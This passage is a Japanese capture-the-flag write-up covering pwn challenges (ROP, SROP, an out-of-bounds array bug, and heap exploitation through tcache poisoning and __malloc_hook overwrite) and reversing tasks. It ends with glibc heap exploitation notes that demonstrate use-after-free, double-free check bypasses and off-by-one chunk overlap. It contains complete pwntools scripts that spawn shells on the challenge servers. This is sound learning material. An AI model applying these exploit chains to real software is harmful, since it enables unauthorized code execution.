hex value?: 0x0000000000401611
0x0000000000401611 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x000000000040129c
0x000000000040129c is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x00000000004012a9
0x00000000004012a9 is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 1
hex value?: 0x00000000004012b6
0x00000000004012b6 is appended
> 0
     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}
exit

flag: FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

BOFがあります。ただ, Gadgetがあまりないためこれまでの問題のようにROP chainは組めません。
RAXに0xfを書き込めるGadgetがあるためSROPをします。
buffのアドレスが表示されるため, /bin/shbuffに書き込んで, RDIにbuffのアドレスをセットします。

from pwn import * 

# p = process('pwn06')
p = remote('srop.pwn.wanictf.org', 9006)
e = ELF('pwn06')
context.binary = e

syscall = 0x40117e
mov_rax = 0x40118c

p.recvuntil('buff : ')
buff = int(p.recvline()[:-1], 16)
print(hex(buff))

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = buff
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b'/bin/sh\x00'
payload += b'A' * 0x40
payload += p64(mov_rax)
payload += p64(syscall)
payload += bytes(frame)

p.sendline(payload)

p.interactive()

flag: FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi

以下の条件を満たせばフラグが表示されます。

int is_solved(int (*rod)[HANOI_SIZE]) {
  if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 &&
      rod[2][HANOI_SIZE - 1] == HANOI_SIZE)
    return 1;
  else
    return 0;
}

rod[1][HANOI_SIZE - 1]は条件を満たしているため, rod[0][HANOI_SIZE - 1]rod[2][HANOI_SIZE - 1]を何とかします。

    if (abs(src) > 2 || abs(dst) > 2) {  // ???
        printf("That rod isn't where you can access!\n");
        return;
    }

絶対値になっているため, srcdstを-1か-2にできます。
それによって, 以下で範囲外にアクセスできます。

    if (rod[dst][pivot[dst]] != 0) pivot[dst]--;
    rod[dst][pivot[dst]] = rod[src][pivot[src]];
    rod[src][pivot[src]] = 0;

各配列の位置関係は以下のようになっています。

0x7fffffffdc30: 0x0000000000000000      0x00007ffff7e60013
0x7fffffffdc40: 0x0000000000000069      0x00007ffff7fb86a0
0x7fffffffdc50: 0x0000555555556070      0x00007ffff7e5371a
0x7fffffffdc60: 0x00005555555557a0      0x00007fffffffde50
0x7fffffffdc70: 0x0000555555555180      0x00007fffffffdf40
0x7fffffffdc80: 0x0000000000000000      0x0000555555555676
0x7fffffffdc90: 0x0000000000000000      0x0000000000000000
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcb0: 0x0000000200000001      0x0000000400000003  <- rod
0x7fffffffdcc0: 0x0000000600000005      0x0000000800000007
0x7fffffffdcd0: 0x0000000a00000009      0x0000000c0000000b
0x7fffffffdce0: 0x0000000e0000000d      0x000000100000000f
0x7fffffffdcf0: 0x0000001200000011      0x0000001400000013
0x7fffffffdd00: 0x0000001600000015      0x0000001800000017
0x7fffffffdd10: 0x0000001a00000019      0x0000001c0000001b
0x7fffffffdd20: 0x0000001e0000001d      0x000000200000001f
0x7fffffffdd30: 0x0000000000000000      0x0000000000000000
0x7fffffffdd40: 0x0000000000000000      0x0000000000000000
0x7fffffffdd50: 0x0000000000000000      0x0000000000000000
0x7fffffffdd60: 0x0000000000000000      0x0000000000000000
0x7fffffffdd70: 0x0000000000000000      0x0000000000000000
0x7fffffffdd80: 0x0000000000000000      0x0000000000000000
0x7fffffffdd90: 0x0000000000000000      0x0000000000000000
0x7fffffffdda0: 0x0000000000000000      0x0000000000000000
0x7fffffffddb0: 0x0000000000000000      0x0000000000000000
0x7fffffffddc0: 0x0000000000000000      0x0000000000000000
0x7fffffffddd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdde0: 0x0000000000000000      0x0000000000000000
0x7fffffffddf0: 0x0000000000000000      0x0000000000000000
0x7fffffffde00: 0x0000000000000000      0x0000000000000000
0x7fffffffde10: 0x0000000000000000      0x0000000000000000
0x7fffffffde20: 0x0000000000000000      0x0000000000000000  <- rod[2][HANOI_SIZE - 1]
0x7fffffffde30: 0x0000003f0000003f      0x0000003f0000003f  <- name
0x7fffffffde40: 0x0000001f00000000      0x000000000000001f  <- rod_pivot

上のように, nameに0x3f(=(0x80*2-0x4)/4)を書き込んで, @Cを入力することで, rod_pivot[-1]=0x3f, rod[-1][pivot[-1]]=rod[-1][0x3f]=0x20となり, rod[0][HANOI_SIZE - 1]rod[2][HANOI_SIZE - 1]が条件を満たします。

from pwn import * 

# p = process('pwn07')
p = remote('hanoi.pwn.wanictf.org', 9007)

payload = p32(0x3f) * 4

p.sendafter('Name : ', payload)

p.sendlineafter('Move > ', '@C')

p.interactive()
$ python3 solve.py 
[+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done
[*] Switching to interactive mode
Moving...
Moved 32 from @ to C
Top and bottom of the each rod
  A     B     C
  1     0    32
 ...............
  0     0    32
Move > $ DD
Moving...
That rod isn't where you can access!
How fast you are!!
FLAG{5up3r_f457_h4n01_501v3r}

flag: FLAG{5up3r_f457_h4n01_501v3r}

08 Gacha Breaker

libc leak

int* gacha(int** list, int n, int k, int* count) {
  int* gacha_result;
  int prob_man;  // Probability Manipulaton : increase possibility of overlapped
                 // result
  srand(time(0));

  printf("Doki Doki .....\n");
  sleep(1);
  gacha_result = malloc(sizeof(int) * k);
  printf("Your gacha No.%d\nresults :", n);
  prob_man = (1 < k - 4 ? k - 4 : k);
  for (int i = 0; i < prob_man; i++) {
    gacha_result[i] = rand() % 0x10000;
    printf(" [%#x]", gacha_result[i]);
  }
  for (int i = prob_man; i < k; i++) {      // 0 ~ 4
    if (n > 1 && count[n - 2] > 3)
      gacha_result[i] = list[n - 2][k - i - 1];
    else
      gacha_result[i] = rand() % 0x10000;
    printf(" [%#x]", gacha_result[i]);
  }
  printf("\n\n");
  return gacha_result;
}

kが6以上の場合, n-2番目のチャンクの内容をn番目のチャンクに書き込めます。
以下の順でgachaとfreeをします。()内の数は何番目のチャンクかを示しています。

  • Unsorted binに繋がるように1200でgacha (0)
  • 0x30のチャンクを作るために10でgacha (1)
  • free (0)がUnsorted binに, (1)がtcacheに繋がれる。
  • 10でgacha (2) Unsorted binに繋がれている0番目のチャンクの内容が書き込まれる。

2番目のチャンクにmain_arenaのアドレスが書き込まれます。
以上から計算によってlibcのアドレスがわかります。

Overwrite __malloc_hook

ceilingでUse After Freeができます。
tcache poisoningで__malloc_hookを書き換えます。(__free_hookだと失敗した。)
以下の順でgachaとfreeとceilingをします。

  • 10でgacha (3)
  • free 0x30のtcacheは (2) -> (3)となる。
  • ceilingで(2)に__malloc_hookを書き込む。0x30のtcacheは (2) -> __malloc_hookとなる。
  • 10でgacha (4) (2)の領域が返る。
  • 10でgacha (5) __malloc_hookが返る。
  • ceilingで(5)にOne Gadgetを書き込む。
  • 1でgacha (6) シェルが起動する。
from pwn import *

# p = process('pwn08')
# p = remote('localhost', 7777)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = remote('gacha.pwn.wanictf.org', 9008)
libc = ELF('libc-2.31.so')

one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84]

def gacha(count):
    p.sendlineafter('>', '1')
    p.sendlineafter('times? :', str(count))

def view():
    p.sendlineafter('>', '2')
    p.recvuntil('Gacha\n')
    return p.recvline()

def clear():
    p.sendlineafter('>', '3')

def ceiling(a, b, c):
    p.sendlineafter('>', '4')
    p.sendlineafter('>', str(a))
    p.sendlineafter('>', str(b))
    p.sendlineafter('>', str(c))

gacha(1200)
gacha(0x28//4)
clear()
gacha(0x28//4)
leaks = view().decode().split(' ')
libc.address = int(leaks[-3][1:-1]+leaks[-2][3:-1], 16) - 0x1ebbe0
print(hex(libc.address))
# for i in range(4):
#     gacha(1)

# gacha(0x28//4)
gacha(0x28//4)
clear()
ceiling(2, 0, int(hex(libc.symbols['__malloc_hook'])[-8:], 16))
ceiling(2, 1, int(hex(libc.symbols['__malloc_hook'])[2:6], 16))
gacha(0x28//4)
gacha(0x28//4)
ceiling(5, 0, int(hex(libc.address + one_gadget[1])[-8:], 16))
ceiling(5, 1, int(hex(libc.address + one_gadget[1])[2:6], 16))
gacha(1)

p.interactive()

flag: FLAG{G4ch4_15_3v1l_bu7_c4n7_5t0p}

Reversing

secret

stringsするとkeyぽい文字列が見つかりました。

$ strings ./secret

Input secret key : 
Incorrect
wani_is_the_coolest_animals_in_the_world!
Correct! Flag is %s

入力したらフラグが出力されました。

$ ./secret 

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

flag: FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

main.sを読むとスタックに何か書き込んで出力していることがわかります。
デコードするとフラグがわかります。

l = [7941081424088616006, 7311705455698409823, 3560223458505028963, 35295634984951667]
flag = ""
for i in l:
    s = reversed(bytes.fromhex(hex(i)[2:]).decode())
    for c in s:
        flag += c
print(flag)

flag: FLAG{c4n_y0u_execu4e_th1s_fi1e}

timer

timerが終わらないのでGDBでスキップします。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000014ef <+0>:     endbr64 
   0x00000000000014f3 <+4>:     push   rbp
   0x00000000000014f4 <+5>:     mov    rbp,rsp
   0x00000000000014f7 <+8>:     call   0x141a <show_description>
   0x00000000000014fc <+13>:    call   0x149d <timer>
   0x0000000000001501 <+18>:    call   0x1170 <super_complex_flag_print_function>
   0x0000000000001506 <+23>:    mov    eax,0x0
   0x000000000000150b <+28>:    pop    rbp
   0x000000000000150c <+29>:    ret    
End of assembler dump.
gdb-peda$ b *main+13
gdb-peda$ r
gdb-peda$ jump *main+18
The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"

flag: FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

Ghidraでデコンパイルすると, checkでライセンスファイルの内容をチェックしていることがわかります。しかし, checkは複雑で自力で解析するのは厳しいので, 問題文にもあるようにangrを使いました。ただ、脳死angrしかやったことがなかったためいろいろ参考にさせて頂きました。
参考1
参考2

import angr
import claripy

addr = 0x405e66
input_path = './key.dat'
proj = angr.Project('./licence', load_options={"auto_load_libs": False})
state = proj.factory.entry_state(args=[proj.filename, input_path])


simgr = proj.factory.simulation_manager(state)
simgr.explore(find=addr)
state = simgr.found[0]
print(state.posix.dump_file_by_path(input_path))

flag: FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}

【CTF】 Heap Exploit Tips

Heap問で個人的にハマったところをまとめました。

環境

glibc 2.31はWSLのUbuntuで動かしました。それ以外はDockerのUbuntuで動かしました。

glibc 2.23 (Ubuntu 16.04)

# /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.2) stable release version 2.23, by Roland McGrath et al.

glibc 2.27 (Ubuntu 18.04)

# /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.

glibc 2.31 (Ubuntu 20.04)

$ /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.1) stable release version 2.31.

glibc 2.32 (Ubuntu 21.04)

# /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.32-0ubuntu6) stable release version 2.32.

tcache

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    free(a);
    free(b);
}

mallocしてfreeするだけです。GDBで2回freeした後のメモリを見ていきます。

glibc 2.23

(gdb) i proc map
(gdb) x/10gx 0x55a81ef6f000
0x55a81ef6f000: 0x0000000000000000      0x0000000000000021
0x55a81ef6f010: 0x0000000000000000      0x0000000000000000      <- a
0x55a81ef6f020: 0x0000000000000000      0x0000000000000021
0x55a81ef6f030: 0x000055a81ef6f000      0x0000000000000000      <- b
0x55a81ef6f040: 0x0000000000000000      0x0000000000020fc1

glibc 2.25以前だと0x80バイト以下の領域を解放するとfastbinという単方向リストに格納されます。2つのチャンクの下にはtopという大きなチャンクがあります。

glibc 2.27

(gdb) i proc map
(gdb) x/12gx 0x55f33d01a000
0x55f33d01a000: 0x0000000000000000      0x0000000000000251
0x55f33d01a010: 0x0000000000000002      0x0000000000000000
0x55f33d01a020: 0x0000000000000000      0x0000000000000000
0x55f33d01a030: 0x0000000000000000      0x0000000000000000
0x55f33d01a040: 0x0000000000000000      0x0000000000000000
0x55f33d01a050: 0x000055f33d01a280      0x0000000000000000
(gdb) x/10gx 0x55f33d01a000+0x250
0x55f33d01a250: 0x0000000000000000      0x0000000000000021
0x55f33d01a260: 0x0000000000000000      0x000055f33d01a010      <- a
0x55f33d01a270: 0x0000000000000000      0x0000000000000021
0x55f33d01a280: 0x000055f33d01a260      0x000055f33d01a010      <- b
0x55f33d01a290: 0x0000000000000000      0x0000000000020d71

glibc 2.26以降では0x410バイト以下の領域を解放するとtcacheにという単方向リストに格納されます。tcacheでは、サイズごとのチャンクの個数とリストの末尾を格納する管理領域が確保されます。上の例では0x55f33d01a010からの領域です。bkの位置には何か値が書き込まれています。(後述)

glibc 2.31

gdb-peda$ vmmap
gdb-peda$ x/20gx 0x555555559000
0x555555559000: 0x0000000000000000      0x0000000000000291
0x555555559010: 0x0000000000000002      0x0000000000000000
0x555555559020: 0x0000000000000000      0x0000000000000000
0x555555559030: 0x0000000000000000      0x0000000000000000
0x555555559040: 0x0000000000000000      0x0000000000000000
0x555555559050: 0x0000000000000000      0x0000000000000000
0x555555559060: 0x0000000000000000      0x0000000000000000
0x555555559070: 0x0000000000000000      0x0000000000000000
0x555555559080: 0x0000000000000000      0x0000000000000000
0x555555559090: 0x00005555555592c0      0x0000000000000000
gdb-peda$ x/10gx 0x555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000021
0x5555555592a0: 0x0000000000000000      0x0000555555559010      <- a
0x5555555592b0: 0x0000000000000000      0x0000000000000021
0x5555555592c0: 0x00005555555592a0      0x0000555555559010      <- b
0x5555555592d0: 0x0000000000000000      0x0000000000020d31      

glibc 2.30以降では、管理領域が若干大きくなっています。glibc 2.29以降では、bkの位置にkeyとしてtcacheの管理領域のアドレスが書き込まれます。上のglibc 2.27の例でもなぜか書き込まれています。

glibc 2.32

(gdb) x/10gx 0x55a3299f2000+0x290
0x55a3299f2290: 0x0000000000000000      0x0000000000000021
0x55a3299f22a0: 0x000000055a3299f2      0x000055a3299f2010      <- a
0x55a3299f22b0: 0x0000000000000000      0x0000000000000021
0x55a3299f22c0: 0x000055a673adbb52      0x000055a3299f2010      <- b
0x55a3299f22d0: 0x0000000000000000      0x0000000000020d31      

glibc 2.32以降では、fd(next)に以下のマクロが適用されます。

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

例えば、bのfdの値は

(0x55a3299f22c0>>12)^0x55a3299f22a0 = 0x55a673adbb52

となります。

Use After Free

#include<stdio.h>
#include<stdlib.h>

int main(){
    int k;
    printf("k: %p\n", &k);

    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    printf("a: %p\n", a);
    printf("b: %p\n", b);
    free(a);

    // Use After Free
    *(unsigned long *)a = (unsigned long)&k;

    char *c = (char *)malloc(0x18);
    char *d = (char *)malloc(0x18);
    printf("c: %p\n", c);
    printf("d: %p\n", d);
}

freeした領域にkのアドレスを書き込むことでtcacheのリストを改竄しています。

glibc 2.27

# ./uaf 
k: 0x7ffe5f5b0fc4
a: 0x56181b62f670
b: 0x56181b62f690
c: 0x56181b62f670
d: 0x7ffe5f5b0fc4

fdを書き換えることでkの領域を確保しています。

glibc 2.31

$ ./uaf 
k: 0x7ffc0d8fb1c4
a: 0x557cc0c776b0
b: 0x557cc0c776d0
c: 0x557cc0c776b0
d: 0x557cc0c776f0

kの領域が確保できてません。glibc 2.29以前では、tcacheの末尾がNULLの場合、tcacheは空だと認識されます。上のglibc 2.27の例では、fdの部分にアドレスを書き込んだため空とは認識されず、同じサイズをmallocしたときにそのサイズのtcacheから領域が確保されます。glibc 2.30以降では、tcacheのカウンタが0の場合、空だと認識されます。tcacheのカウンタはmallocしたときに減って、freeしたときに増えます。上の例では、cmallocのときにカウンタが0になるため、dmallocのときには別のところから領域が確保されます。

Double Free (tcache)

2回同じ領域を解放することでいろいろ悪いことができます。

#include<stdio.h>
#include<stdlib.h>

int main(){
    int k;
    printf("k: %p\n", &k);

    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    printf("a: %p\n", a);
    printf("b: %p\n", b);
    free(a);
    free(b);

    // *(unsigned long *)(b+0x8) = 0xdeadbeef;     // keyの書き換え

    // Double Free
    free(b);

    char *c = (char *)malloc(0x18);
    printf("c: %p\n", c);

    *(unsigned long *)c = (unsigned long)&k;
    // *(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降

    char *d = (char *)malloc(0x18);
    char *e = (char *)malloc(0x18);
    printf("d: %p\n", d);
    printf("e: %p\n", e);
}

2回同じ領域をfreeした後にmallocすることでtcache内のチャンクを確保しています。確保した領域にkのアドレスを書き込むことでtcacheのリストを改竄しています。

glibc 2.27

# ./doublefree 
k: 0x7fff642c50bc
a: 0x556f5a3c9670
b: 0x556f5a3c9690
free(): double free detected in tcache 2
Aborted

うまくいくと思ってたのですが、Double Freeが検知されてしまいました。glibc 2.29以前では、tcacheのDouble Freeのチェックがありませんでしたが、最新のUbuntu 18.04のglibc 2.27ではチェックがあるようです。
keyを書き換えることでこのチェックをバイパスできます。下のコードを有効にしてkeyを書き換えてみます。

*(unsigned long *)(b+0x8) = 0xdeadbeef;     // keyの書き換え
# ./doublefree
k: 0x7ffc294145ec
a: 0x561988412670
b: 0x561988412690
c: 0x561988412690
d: 0x561988412690
e: 0x7ffc294145ec

Double Freeが検知されず、kの領域を確保できました。

glibc 2.31

$ ./doublefree 
k: 0x7ffd85ebcd8c
a: 0x5641e2f1c6b0
b: 0x5641e2f1c6d0
c: 0x5641e2f1c6d0
d: 0x5641e2f1c6d0
e: 0x7ffd85ebcd8c

上と同様にkeyを書き換えてチェックをバイパスしています。

glibc 2.32

glibc 2.32以降では、fdの値にマクロが適用されます。また、tcacheかfastbinからチャンクを確保するときにalignのチェックがあります。下のコードを有効にしてfdを書き換えます。

*(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降
# ./doublefree 
k: 0x7fff0aab533c
a: 0x55cfb76bc6b0
b: 0x55cfb76bc6d0
c: 0x55cfb76bc6d0
d: 0x55cfb76bc6d0
e: 0x7fff0aab5370
Segmentation fault

kのアドレスはalignされていないので、rbpのアドレスを使いました。最後に落ちていますが深追いしないことにします。

Double Free (fastbin)

上のtcacheのDouble Freeの例ではUAFを使ってkeyを書き換えました。UAFができないときを想定して、fastbinのDouble Freeをやってみます。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *p[10] = {};
    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18);

    int k;
    printf("k: %p\n", &k);

    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    printf("a: %p\n", a);
    printf("b: %p\n", b);

    for(int i=0; i<7; i++) free(p[i]);  // tcacheを埋める

    free(a);
    free(b);
    free(a);    // Double Free

    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18);     // tcacheから確保

    char *c = (char *)malloc(0x18);     // fastbinから確保
    printf("c: %p\n", c);

    *(unsigned long *)c = (unsigned long)&k;

    char *d = (char *)malloc(0x18);
    char *e = (char *)malloc(0x18);
    char *f = (char *)malloc(0x18);
    printf("d: %p\n", d);
    printf("e: %p\n", e);
    printf("f: %p\n", f);
}

fastbinを使うため、tcacheを埋めます。fastbinにチャンクを格納するときfastbinの末尾のチャンクと異なるかをチェックします。上の例では、直前に別の領域を解放することでこのチェックをバイパスしています。

glibc 2.23

# ./doublefree
k: 0x7fff4816575c
a: 0x55d3f6116420
b: 0x55d3f6116440
*** Error in `./doublefree': double free or corruption (fasttop): 0x000055d3f6116440 ***

glibc 2.23には、tcacheがないのでtcacheの処理は必要ないです。うまくいくと思ってたのですが、Double Freeが検知されてしまいました。fastbinに格納するチャンクがあるとDouble Freeが検知されるみたいです。

glibc 2.31

$ ./doublefree
k: 0x7fffe586b3b0
a: 0x55bdf61d4790
b: 0x55bdf61d47b0
c: 0x55bdf61d4790
d: 0x55bdf61d47b0
e: 0x55bdf61d4790
f: 0x7fffe586b3b0

Double Freeは検知されず、kの領域を確保できました。

統合

チャンクが格納されるとき前後の未使用のチャンクが統合されます。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a = (char *)malloc(0x418);
    char *b = (char *)malloc(0x418);
    char *c = (char *)malloc(0x418);
    free(b);
    free(a);
    free(c);
}

glibc 2.31

1回目のfreeの後を見てみます。

gdb-peda$ vmmap
gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000421
0x5555555592a0: 0x0000000000000000      0x0000000000000000      <- a
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000000      0x0000000000000421
0x5555555596c0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- b
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420
0x555555559ad0: 0x0000000000000420      0x0000000000000420
0x555555559ae0: 0x0000000000000000      0x0000000000000000      <- c
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420
0x555555559ef0: 0x0000000000000000      0x0000000000020111
0x555555559f00: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7fb7be0
0x7ffff7fb7be0 <main_arena+96>: 0x0000555555559ef0

bはunsorted binに格納されていて、fdとbkはmain_arena+0x60を指しています。cのprev_sizeにbのサイズが書き込まれ、PREV_INUSEが0になっていることが確認できます。
2回目のfreeの後を見てみます。

gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000841
0x5555555592a0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- a
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000000      0x0000000000000421
0x5555555596c0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- b
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420
0x555555559ad0: 0x0000000000000840      0x0000000000000420
0x555555559ae0: 0x0000000000000000      0x0000000000000000      <- c
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420
0x555555559ef0: 0x0000000000000000      0x0000000000020111
0x555555559f00: 0x0000000000000000      0x0000000000000000

abが統合され、0x840のチャンクがunsorted binに格納されています。それに伴いcのprev_sizeが書き換えられていることが確認できます。
3回目のfreeの後を見てみます。

gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000020d71
0x5555555592a0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0

ccの上にある0x840のチャンクがtopに統合されます。

切り出し

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a = (char *)malloc(0x418);
    char *b = (char *)malloc(0x18);     // topと統合しないように
    free(a);

    char *c = (char *)malloc(0x18);
}

glibc 2.31

freeした後を見てみます。

gdb-peda$ vmmap
gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000421
0x5555555592a0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- a
gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000420      0x0000000000000020 
0x5555555596c0: 0x0000000000000000      0x0000000000000000      <- b
0x5555555596d0: 0x0000000000000000      0x0000000000020931

aはunsorted binに格納されています。
mallocした後を見てみます。

gdb-peda$ x/8gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000021
0x5555555592a0: 0x00007ffff7fb7fd0      0x00007ffff7fb7fd0      <- c
0x5555555592b0: 0x0000555555559290      0x0000000000000401
0x5555555592c0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      
gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000400      0x0000000000000020
0x5555555596c0: 0x0000000000000000      0x0000000000000000      <- b
0x5555555596d0: 0x0000000000000000      0x0000000000020931

aから切り出されています。残りのチャンクはunsorted binに格納されています。

偽装チャンク

偽装チャンクをつくってunsorted binに格納し、main_arenaのアドレスをリークします。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a[10] = {};

    for(int i=0; i<10; i++) a[i] = (char *)malloc(0x78);

    *(unsigned long *)(a[0]+0x8) = 0x471;

    free(a[0]+0x10);

    printf("main_arena: %p\n", *(void **)(a[0]+0x10)-0x60);
}

glibc 2.31

$ ./fakechunk
main_arena: 0x7ffff7fb7b80

freeした後のメモリを見てみます。

gdb-peda$ x/6gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000081
0x5555555592a0: 0x0000000000000000      0x0000000000000471      <- a[0]
0x5555555592b0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x80*9
0x555555559710: 0x0000000000000470      0x0000000000000080
0x555555559720: 0x0000000000000000      0x0000000000000000      <- a[9]

9個の0x80のチャンクを使って0x470(=0x80*9-0x10)のチャンクをつくっています。a[0]+0x10を解放することでunsorted binに格納しています。10個目はtopとの統合を防ぐために使っています。

Off By One

1バイトだけ書き換えてmain_arenaのアドレスをリークします。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *p[20] = {};

    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88);
    for(int i=0; i<7; i++) p[i+7] = (char *)malloc(0xf8);

    char *a = (char *)malloc(0x88);
    char *b = (char *)malloc(0x18);
    char *c = (char *)malloc(0xf8);
    p[14] = (char *)malloc(0x18);

    for(int i=0; i<14; i++) free(p[i]);     // tcacheを埋める

    free(a);    // unsorted binに格納される

    *(unsigned long *)(b+0x10) = 0xb0;      // cのprev_size
    *(char *)(b+0x18) = 0;  // cのsizeの下位1バイト

    free(c);    

    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88);     // tcacheから確保
    p[8] = (char *)malloc(0x88);
    printf("main_arena: %p\n", *(void **)b-0x60);
}

glibc 2.27

# ./offbyone 
main_arena: 0x7fea60f3dc40

free(c)前のメモリを見てみます。

(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7
0x55c8083ead40: 0x0000000000000000      0x0000000000000091      
0x55c8083ead50: 0x00007fea60f3dca0      0x00007fea60f3dca0      <- a
(gdb) x/8gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90
0x55c8083eadd0: 0x0000000000000090      0x0000000000000020
0x55c8083eade0: 0x0000000000000000      0x0000000000000000      <- b
0x55c8083eadf0: 0x00000000000000b0      0x0000000000000100
0x55c8083eae00: 0x0000000000000000      0x0000000000000000      <- c

aはunsorted binに格納されています。cのprev_sizeとPREV_INUSEが書き換えられていることが確認できます。
free(c)後のメモリを見てみます。

(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7
0x55c8083ead40: 0x0000000000000000      0x00000000000001b1      
0x55c8083ead50: 0x00007fea60f3dca0      0x00007fea60f3dca0      <- a

PREV_INUSEが0であるため、直前のチャンクと統合されます。cのprev_sizeは0xb0であるためa(0x90)とb(0x20)を合わせた領域が1つのチャンクとみなされてcと統合されます。
p[8] = (char *)malloc(0x88);後のメモリを見てみます。

(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7
0x55c8083ead40: 0x0000000000000000      0x0000000000000091      
0x55c8083ead50: 0x00007fea60f3de40      0x00007fea60f3de40      <- a, p[8]
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90
0x55c8083eadd0: 0x0000000000000090      0x0000000000000121
0x55c8083eade0: 0x00007fea60f3dca0      0x00007fea60f3dca0      <- b
(gdb) x/gx 0x00007fea60f3dca0
